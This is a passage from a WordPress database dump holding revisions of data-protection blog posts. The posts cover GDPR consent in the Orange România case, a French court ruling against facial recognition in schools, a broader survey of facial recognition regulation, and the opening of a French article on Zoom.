/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is <strong>no freely given consent</strong>. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract. Following the judgment in&nbsp;<em>Planet49</em>,&nbsp;consent is to be expressed by positive opt in act.</li><li>There is <strong>no informed consent</strong>. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such <strong>lack of clarity and conflicting instructions </strong>to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is no ‘consent’ where the customer does not indicate his or her ‘spe<strong>cific and informed’ and ‘freely given’ wishes</strong>, within the meaning of Article&nbsp;2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24&nbsp;October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article&nbsp;4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27&nbsp;April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; No free consent when the customer is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer on the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is soon to be followed. Although the DG opinions are not binding the court tends to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his or her ID ? Should this view be extended to any case where copy of ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored, kept secured and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','Personal data is the hot potato. If you do\'t need it, don\'\'t collect it, don\'t keep it. Data minimisation will save you many troubles.','inherit','closed','closed','','583-revision-v1','','','2020-03-06 16:04:25','2020-03-06 16:04:25','',583,'https://datarainbow.eu/2020/03/06/583-revision-v1/',0,'revision','',0),(598,5,'2020-03-06 16:06:01','2020-03-06 16:06:01','<!-- wp:heading {\"level\":4} -->\n<h4><a href=\"https://ai-regulation.com/first-decision-ever-of-a-french-court-applying-gdpr-to-facial-recognition/\">FIRST EVER DECISION OF A FRENCH COURT APPLYING GDPR TO FACIAL RECOGNITION</a></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In a ruling on 27th of February, a French court canceled a decision by the South-Est Region of France (Provence-Alpes-Côte d’Azur – PACA) to undertake a series of tests using facial recognition at the entrance of two High schools considering that this would be illegal. This has been a well noticed decision  of the French Court applying the General Data Protection Regulation (GDPR) on Facial Recognition Technologies (FRTs).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A great win for « La Quadrature du Net », la Ligue des droits de l’Homme, parent association of state schools of Alpes-Maritimes et CGT Union Educ’Action of Alpes-Maritimes,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following previous recommendations by the <a href=\"https://www.cnil.fr/fr/reconnaissance-faciale-pour-un-debat-la-hauteur-des-enjeux\">CNIL</a>, the Administratif court ruled that the processing of biometric data are subject to strict conditions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The local region of  Provence-Alpes-Côte d’Azur had set a tripartite agreement for a trial with schools and Cisco International Limited  to install<br>access control, facial recognition and tracking in three high schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facial recognition data processing relate to biometrics, special category data under the General Data Protection Regulation. As such their processing is in principal prohibited. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9 lists the conditions for processing special category data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(a) Explicit consent<br>(b) Employment, social security and social protection (if authorised by law)<br>(c) Vital interests<br>(d) Not-for-profit bodies<br>(e) Made public by the data subject<br>(f) Legal claims or judicial acts<br>(g) Reasons of substantial public interest (with a basis in law)<br>(h) Health or social care (with a basis in law)<br>(i) Public health (with a basis in law)<br>(j) Archiving, research and statistics (with a basis in law)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The municipality had based its ground of processing on student\'s consents and for minors, their parents\'s consent collected on a signed form. The court objected against the legality of this project based on the imbalance of power.   </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9(2)(a) permits to process special category if:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“the data subject has given <strong>explicit consent</strong> to the processing of those personal data for one or more specified purposes”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to be valid, explicit consent must be <strong>freely given, specific, affirmative (opt-in) and unambiguous</strong>, and able to be withdrawn at any time. In practice, the extra requirements for consent to be ‘explicit’ are likely to be:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>explicit consent must be confirmed in a clear statement (whether oral or written), rather than by any other type of affirmative action;</li><li>it must specify the nature of the special category data; and</li><li>it should be separate from any other consents.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>It must be made sure that a <strong>genuine choice</strong> over whether and how you use their data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In particular, if consent is required as a condition of  access to services, or wherever there is a position of power over the individual,  such as a public authority or their employer, consent cannot be freely given and deemed to be invalid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context of a consent required by a local authority from students, without allowing any alternative, knowing the imbalance of power, it is with no surprise that the Administratif court has invalidated the facial recognition monitoring in school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is unreasonable to believe ALL students, present and future, would freely consent to have their biometrics processed, without alternative. Additionally, are concerned all staff and visitors, including minors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Convinced by the imbalance of powers, the Court then argued the lack of proportionality, ruling the security aim could be reached in a less intrusive manner with student badges. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the <a href=\"https://www.bfmtv.com/tech/reconnaissance-faciale-dans-les-lycees-un-dispositif-juge-disproportionne-1795950.html\">CNIL</a> opinion, the court ruled that facial recognition is a disproportionate measure to manage the access to school, especially since alternative measures could reach the same result in a less intrusive manner. Student badges. are much less detrimental to rights exist to do this. On this subject,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another case will be heard on Monday, March 2, 2020 at the Marseille administrative court. An appeal filed with the Ligue des Droits Humains against automated video surveillance (which identifies among other things \"suspicious behavior\" of  individuals on the public highway.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have warned previously against <a href=\"https://datarainbow.eu/2020/01/17/facial-recognition-technologies/\">the issue of biometrics data processing in surveillance </a>and the inherent security issues of a <a href=\"https://edition.cnn.com/2020/02/10/tech/clearview-ai-ceo-hoan-ton-that/index.html\">data thirsty technology</a>. Every data base creates risks of data leak. Clearview data base has since revealed a major leak.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.bloomberglaw.com/privacy-and-data-security/clearview-ai-faces-california-illinois-lawsuit-after-breach\">Clearview AI Faces California, Illinois Lawsuit After Breach (1).</a> The question will remain how to monetise the compensation resulting from the harm caused by the loss of control over something as unique as biometrics. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'Clearview AI, a&nbsp;<a href=\"https://www.cnet.com/news/clearview-app-lets-strangers-find-your-name-info-with-snap-of-a-photo-report-says/\">controversial facial recognition app</a>&nbsp;being used by US law enforcement to identify suspects and other people, is facing&nbsp;<a href=\"https://www.cnet.com/news/clearview-ai-faces-lawsuit-following-facial-recognition-privacy-concerns/\">another lawsuit</a>. The new suit, filed Thursday, seeks class-action status and $5 million in damages for what it calls&nbsp;<a rel=\"noreferrer noopener\" href=\"https://twitter.com/RMac18/status/1228097214578225153\" target=\"_blank\">willful, reckless or negligent violations of biometrics laws in Illinois by Clearview</a>&nbsp;and CDW.\'  in <a href=\"https://www.cnet.com/news/clearview-ai-facial-recognition-company-faces-another-lawsuit/\">CNET</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'<em>New York facial recognition startup&nbsp;</em><a href=\"https://clearview.ai/\"><em>Clearview AI</em></a><em>&nbsp;– which has amassed a huge database of more than three billion images scraped from employment sites, news sites, educational sites, and social networks including Facebook, YouTube, Twitter, Instagram and Venmo – is being sued in a potential class action lawsuit that claims the company gobbled up photos out of “pure greed” to sell to law enforcement.</em>\' writes <a href=\"https://nakedsecurity.sophos.com/2020/01/28/facial-recognition-firm-sued-for-scraping-3-billion-faceprints/\">Lisa Vaas in Naked Security</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://theconversation.com/facial-recognition-is-spreading-faster-than-you-realise-132047\">Facial recognition is spreading faster than you&nbsp;realise.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:core-embed/wordpress {\"url\":\"https:\\/\\/algorithmwatch.org\\/en\\/story\\/face-recognition-police-europe\\/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"algorithmwatch\",\"className\":\"\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-algorithmwatch\"><div class=\"wp-block-embed__wrapper\">\nhttps://algorithmwatch.org/en/story/face-recognition-police-europe/\n</div></figure>\n<!-- /wp:core-embed/wordpress -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:core-embed/wordpress {\"url\":\"https:\\/\\/www.neweurope.eu\\/article\\/facial-recognition-technology-breaches-gdpr-says-vestager\\/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"new-europe\",\"className\":\"\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-new-europe\"><div class=\"wp-block-embed__wrapper\">\nhttps://www.neweurope.eu/article/facial-recognition-technology-breaches-gdpr-says-vestager/\n</div></figure>\n<!-- /wp:core-embed/wordpress -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is 81% inaccurate and could be illegal.\" -<a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\"> Sky News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Concerning the processing of biometrics, Susan Brown, Executive Chairwoman and Founder of Zortrex wrote : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Time to wake up!  Data Pipeline - Personalisation Marketing/advertising - taking our identities, the bad actors see this open air gap and taking over the data output and input. Biometrics is not security, your actually giving away your DNA!  If <a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23governments&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\">governments&nbsp;</a><a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23companies&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\">companies</a> do not start securing identities now, going to be disastrous.  You cannot replace your DNA or your Identity. Every day, mass surveillance, greed, humans are the product, if we do not start securing the future children now and their education and their financial banking, their medical history then everyone may just give up while the world comes to an end. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, the UK ICO in his guidance give an example :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>A gym introduces a facial recognition system to allow members access to the facilities. It requires all members to agree to facial recognition as a condition of entry – there is no other way to access the gym. This is not valid consent as the members are not being given a real choice – if they do not consent, they cannot access the gym. Although facial recognition might have some security and convenience benefits, it is not objectively necessary in order to provide access to gym facilities, so consent is not freely given.</p><p>However, if the gym provides an alternative, such as a choice between access via facial recognition and access via a membership card, consent could be considered freely given. The gym could rely on explicit consent for processing the biometric facial scans of the members who indicate that they prefer that option.</p><cite><br></cite></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Despite that, <a href=\"https://ipvm.com/reports/ico-conference\">UK ICO Approves Unconsented Facial Recognition At Security Conferences</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\">The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is not accurate, and could be illegal.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onezero.medium.com/this-filter-makes-your-photos-invisible-to-facial-recognition-a26929b5ccf\">This Filter Makes Your Photos Invisible to Facial Recognition.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The European regulatory corpus applicable to facial recognition is composed of:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>2012: Working Party 29,&nbsp;<strong><a href=\"https://ec.europa.eu/justice/article-29/documentation/opinion-recommendation/files/2012/wp193_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Opinion 3/2012 on developments in biometric technologies</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016L0680&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Directive 2016/680 Data Protection Law Enforcement Directive</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Regulation 2016/679 General Data Protection Regulation (GDPR)</a></strong></li><li>2019: EU Agency for Fundamental Rights (FRA),&nbsp;<strong><a href=\"https://fra.europa.eu/sites/default/files/fra_uploads/fra-2019-facial-recognition-technology-focus-paper-1_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Facial Recognition Technology : fundamental rights considerations in the context of law enforcement</a></strong>.</li><li>2020: European Commission (EC),&nbsp;<strong><a href=\"https://ec.europa.eu/info/sites/info/files/commission-white-paper-artificial-intelligence-feb2020_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">White Paper on AI</a></strong></li></ul>\n<!-- /wp:list -->','Court said NO to Facial Recognition Technology','FIRST EVER DECISION OF A FRENCH COURT APPLYING GDPR TO FACIAL RECOGNITION﻿. Facial recognition technology deemed disproportionate measure in schools.','inherit','closed','closed','','564-revision-v1','','','2020-03-06 16:06:01','2020-03-06 16:06:01','',564,'https://datarainbow.eu/2020/03/06/564-revision-v1/',0,'revision','',0),(599,5,'2020-03-06 16:07:40','2020-03-06 16:07:40','<!-- wp:paragraph -->\n<p>and their threats to fundamental human rights and security</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Leaked EU documents were intercepted by Euractiv journalist Samuel Stolton who published and article <a href=\"https://www.euractiv.com/section/digital/news/leak-commission-considers-facial-recognition-ban-in-ai-white-paper/\">\"LEAK: Commission considers facial recognition ban in AI ‘white paper’.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The EU Commission white paper suggests a temporary ban of 3 to 5 years on facial recognition in public spaces. Reminding this could provoke a serious conflict between The <a href=\"https://twitter.com/EU_Commission\">EU_Commission</a> and certain member states  - such as <a href=\"http://www.rfi.fr/en/france/20200108-government-wants-test-facial-recognition-video-surveillance-security-civil-liberties\">France</a> and <a href=\"https://www.euractiv.com/section/data-protection/news/german-ministers-plan-to-expand-automatic-facial-recognition-meets-fierce-criticism/\">Germany </a>having already taken different positions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, the French CNIL published a document in November 2019 with an English version in December \"<a href=\"https://www.cnil.fr/en/facial-recognition-debate-living-challenges\">Facial recognition: for a debate living up to the challenges\"</a>&nbsp;calling&nbsp;for&nbsp;an&nbsp;in-depth&nbsp;political&nbsp;debate. The purpose of which should be \'to determine in which cases facial recognition is necessary in a democratic society, and in which cases it is not.\' Suggesting a <strong>balanced overview</strong>&nbsp;of&nbsp;the&nbsp;different&nbsp;biometrics existing&nbsp;technologies to assess the risks and determine which technologies are not acceptable in a democratic society and which ones can be assumed with appropriate safeguards.&nbsp;Within&nbsp;the framework of the GDPR, the CNIL has already had the opportunity to allow certain uses in principle, while regulating them in practical terms (border control at airports), and to refuse others (controlling student access in schools).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://edpb.europa.eu/news/national-news/2019/facial-recognition-school-renders-swedens-first-gdpr-fine_en\">Swedish data protection authority recently imposed a fine </a>on a school for testing <a href=\"http://www.pearltrees.com/privacyday/fr-schools/id28244027http://www.pearltrees.com/privacyday/fr-schools/id28244027\">facial recognition technology to track its students’ attendance</a>. On the other hand, the <a href=\"https://iapp.org/news/a/swedish-dpa-authorizes-police-to-use-facial-recognition/\">Swedish DPA authorise the use of FR by police forces.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.forbes.com/sites/marisagarcia/2019/11/27/iberia-launches-facial-recognition-app-as-airline-industry-biometric-adoption-advances/amp/\">Iberia Launches Facial Recognition App As Airline Industry Biometric Adoption Advances</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>San Francisco recently became the first US city to&nbsp;<a href=\"https://www.theguardian.com/us-news/2019/may/14/san-francisco-facial-recognition-police-ban\">ban police and other agencies from using automated facial recognition</a>, following widespread condemnation of China’s use of the technology to impose&nbsp;<a href=\"https://www.theguardian.com/news/2019/apr/11/china-hi-tech-war-on-muslim-minority-xinjiang-uighurs-surveillance-face-recognition\">control over millions of Uighur Muslims</a>&nbsp;in the western region of Xinjiang. Somerville, Massachusetts, then <a href=\"https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance\">Oakland</a> have&nbsp;<a class=\"\" href=\"https://www.technologyreview.com/s/613536/facial-recognition-ban-san-francisco-surveillance-privacy-private-corporate-interests/\">banned government use of facial recognition</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the <a href=\"https://www.telegraph.co.uk/news/2019/10/07/london-council-used-facial-recognition-technology-streets-without/\">London council used facial recognition technology on streets without consulting residents,</a>&nbsp;the UK Information Commissioner\'s Office published its Opinion 2019/01 on the use of live facial recognition technology (LFR) by law enforcement in public places dated 31-10-2019. in summary :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(1) The use of LFR involves the processing of personal data and therefore #data protection law applies, whether it is for a trial or routine operational deployment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(2) The processing of personal data by ‘competent authorities’ for ‘the law enforcement purposes’ is covered by UK law.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(3) The use of LFR for the law enforcement purposes constitutes ‘sensitive processing’ as it involves the processing of biometric data for the purpose of uniquely identifying a data subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(4) Such sensitive processing relates to all facial images captured and analysed by the software. A data protection impact assessment and an ‘appropriate policy document’ must be in place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(5) Sensitive processing occurs irrespective of whether that image yields a match to a person on a watchlist or the biometric data of unmatched persons is subsequently deleted within a short space of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(6) Data protection law applies to the whole process of LFR, from consideration about the necessity and proportionality for deployment, the compilation of watchlists, the processing of the biometric data through to the retention and deletion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facial images are biometric data as: ‘relating to the physical, physiological or behavioural characteristics of a natural person, which allow or confirm the unique identification of that natural person’ (GDPR Art. 2(14)). The GDPR generally forbids the processing of biometric data for uniquely identifying purposes unless relying on one of the ten exemptions listed in Art. 9(2).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For such technology to be deployed, given that it relies on the large-scale processing of sensitive data, consent would need to be explicit as well as freely-given, informed and specific.&nbsp;Additionally, when deployed in public spaces, how anyone could opt out?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The UK ICO questioned how far should we, as a society, consent to police forces reducing our privacy in order to keep us safe? They found that \'the current combination of laws, codes and practices relating to LFR will not drive the ethical and legal approach that’s needed to truly manage the risk that this technology presents.\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Statement from Elizabeth Denham, Information Commissioner, on the use of live facial recognition technology in King\'s Cross, London : <em>“Scanning people’s faces as they lawfully go about their daily lives, in order to identify them, is a potential threat to privacy that should concern us all. That is especially the case if it is done without people’s knowledge or understanding. “I remain deeply concerned about the growing use of facial recognition technology in public spaces, not only by law enforcement agencies but also increasingly by the private sector. My office and the judiciary are both independently considering the legal issues and whether the current framework has kept pace with emerging technologies and people’s expectations about how their most sensitive personal data is used. “Facial recognition technology is a priority area for the ICO and when necessary, we will not hesitate to use our investigative and enforcement powers to protect people’s legal rights. “We have launched an investigation following concerns reported in the media regarding the use of live facial recognition in the King\'s Cross area of central London, which thousands of people pass through every day. “As well as requiring detailed information from the relevant organisations about how the technology is used, we will also inspect the system and its operation on-site to assess whether or not it complies with data protection law. “Put simply, any organisations wanting to use facial recognition technology must comply with the law - and they must do so in a fair, transparent and accountable way. They must have documented how and why they believe their use of the technology is legal, proportionate and justified. “We support keeping people safe but new technologies and new uses of sensitive personal data must always be balanced against people’s legal rights.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After the High Court ruled in September that the <a href=\"https://www.bbc.co.uk/news/uk-wales-50251643\">South Wales Police had&nbsp;acted lawfully when a shopper complained&nbsp;his human rights</a> were breached when he was photographed, civil rights group Liberty said it was akin to the unregulated taking of DNA or fingerprints without consent, and  is campaigning for an outright ban of the practice. <a href=\"https://www.theguardian.com/technology/2019/jun/07/facial-recognition-technology-liberty-says-england-wales-police-use-should-be-banned\">Facial Recognition is Arsenic in Water of Democracy </a>said Liberty. Martha Spurrier, a human rights lawyer, said the technology had such fundamental problems that, despite police enthusiasm for the equipment, its use on the streets should not be permitted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ms Denham said the use of facial recognition tools represents a \"step change\" in policing techniques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An investigation by commissioner Elizabeth Denham has raised \"serious concerns\" over use of the technology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ms Denham called on the government to introduce a statutory code of practice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Several <a href=\"https://www.bitsoffreedom.nl\">civil liberties </a>organisations<a href=\"https://www.bitsoffreedom.nl\">,</a>&nbsp;such&nbsp;as&nbsp;the&nbsp;<a href=\"https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance\">Electronic&nbsp;Frontier&nbsp;Foundation,</a><a href=\"https://epic.org/banfacesurveillance/\">&nbsp;EPIC</a> or <a href=\"https://edri.org/facial-recognition-and-fundamental-rights-101/\">EDRI </a> have expressed concerns. As the CNIL pointed out, facial recognition has the potential to become a particularly ubiquitous and intrusive tool. <a href=\"https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance\">https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The use of FR in Hong Kong and London Kings Cross has been seen as <a href=\"https://www.dezeen.com/2019/10/09/facial-recognition-hong-kong-threat/\">\"a fundamental threat to society\"</a> says Owen&nbsp;Hopkins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The European Data Protection Supervisor, Wojciech Wiewiórowski, questioned: <a href=\"https://edps.europa.eu/press-publications/press-news/blog/facial-recognition-solution-search-problem_en\">Facial recognition A solution in search of a problem?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Based on a probability rather than on the absolute certainty of a match between the faces being compared and the baseline \"template\". Variations in performance can therefore have far-reaching consequences for individuals who are mis-identified. Over-reliance on technology can result on serious mis-judgements. The lack of accuracy has serious consequences for individuals being falsely identified whether as criminals or otherwise. Its <a href=\"http://www.pearltrees.com/privacyday/fr-low-accuracy/id28244035\">accuracy has been challenged</a> by several researchers. &nbsp;They are serious potential <a href=\"https://www.kairos.com/blog/face-off-confronting-bias-in-face-recognition-ai\">dangers associated with current&nbsp;racial biases</a> in face recognition, and misidentification could lead to wrongful conviction, or far worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To resist against the rise of the intrusive technology, designers have created <a href=\"http://www.pearltrees.com/privacyday/design-products-combat-fr/id28968440\">clothing and accessories that helps to conceal people\'s identities from A.I.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whatever the EU decide or regulate, <a href=\"http://www.pearltrees.com/privacyday/fr-china/id28248155\">the technology comes from China</a>&nbsp;or&nbsp;the&nbsp;US where <a href=\"https://threatpost.com/amazon-ring-facial-recognition-watch-list/150681/\">Amazon Plans Ring Facial Recognition-Based ‘Watch List’, Report</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/10/11/technology/flickr-facial-recognition.html\">This article </a>by the privacy expert journalist Kashmir Hill is thought provoking on the use of children\'s pictures posted by parents online on website such as Flickr. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thiis a technology with many caveats and a major societal impacts. You are invited to read more <a href=\"http://www.pearltrees.com/privacyday/facial-recognition/id23427152\">HERE</a> from various sources to make your own opinion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->','Facial Recognition technologies','Facial Recognition technology collect sensitive biometrics data, they are inacurate and put data at risk.','inherit','closed','closed','','532-revision-v1','','','2020-03-06 16:07:40','2020-03-06 16:07:40','',532,'https://datarainbow.eu/2020/03/06/532-revision-v1/',0,'revision','',0),(601,5,'2020-04-07 18:01:56','2020-04-07 17:01:56','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux 